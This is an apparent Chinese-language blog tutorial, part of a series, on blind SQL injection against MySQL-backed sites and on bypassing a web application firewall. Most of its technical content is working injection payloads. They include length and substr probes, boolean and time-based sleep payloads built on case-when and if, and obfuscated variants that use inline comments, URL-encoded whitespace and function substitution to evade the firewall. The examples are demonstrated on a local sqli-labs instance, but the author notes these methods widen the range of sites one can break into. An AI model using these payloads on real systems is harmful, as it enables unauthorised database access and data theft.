前面2章已经讲过了union select 以及报错注入的语法以及简单的绕狗方法,现在我来谈谈我对于盲注的看法,网上把盲注的种类分了几种,我在这里就不分了,我就把我自己目前掌握的方法都记录下来,绕狗的一些心得。顺带一提,其实我的盲注其实是很菜的,但是盲注确是很厉害的,因为能union select注入和报错注入的网站,肯定能盲注,但是盲注的网站不一定能用union select以及报错注入拿下,意思就是掌握盲注其实能日的站要广一些。
首先讲讲盲注一些基础的东西,其实我们才学sql注入有的讲师将盲注,就会讲一些很基本的函数,比如left ,length,substr等,盲注函数三剑客。但是只掌握这3个函数,对于我们盲注来说,只能玩玩sqli-labs,其实盲注配合burpsuit基于fuzz看长度来做,为提高很高的效率,不说p话了。
and length(database())=8%23--+ //我们用这个来看看网站当前数据库的长度。如果有waf,一套组合拳
127.0.0.1/sql/Less-1/?id=1' %0b/*!%26%26*/%0b!!!%23%0aleNGth(database/**/(/**/))=8%23--+ //看数据库的长度
然后同样的left函数我们也可以这样绕过
接下来我就讲讲substr这个函数,以及怎么样绕过
1.我们首先也可以大小写绕过 suBStr这样
2.函数替代,其实我们的sunstr = substring
3.利用内联注释
4.反引号
5.特殊符号
6.增加函数
and IFNULL((substr((select database()),1,1)='s'),0) --+ //增加一个infull函数
and strcmp((substr((select database()),3,1)='c'),1)--+ //增加一个strcmp函数
and 0=strcmp((substr((select user()),2,1)='o'),0)--+ //这是对于strcmp函数的变形
然后是case when来绕过
and case when (substr((select user()),1,1)="r") then sleep(3) else 1 end--+ //用when case绕过
%0b/*!50000|*/%0b!!!/*!case*/%23--hex()%0awhen (sUbsTrinG((select user/**/(/**/)),1,1)="r") then sleep(3) else 1 end/*!13440*/--+ //这里就不截图了,但是回显的时间正确的明显比错误的常
利用if来绕过
and If(ascii(length(database()))=56,1,sleep(5))--+ //绕过的payload如上面所演示
基于这一类,我们可以结合burpsuit,就不用等回显,我们直接看长度
绕过的方法也如上
因为我的盲注也很弱,所以基于绕过盲注的方法也只有这么一点,但是我还是希望这几篇文章能够帮到一些刚刚学习sql注入的朋友,文章如有错误,还请各位看官斧正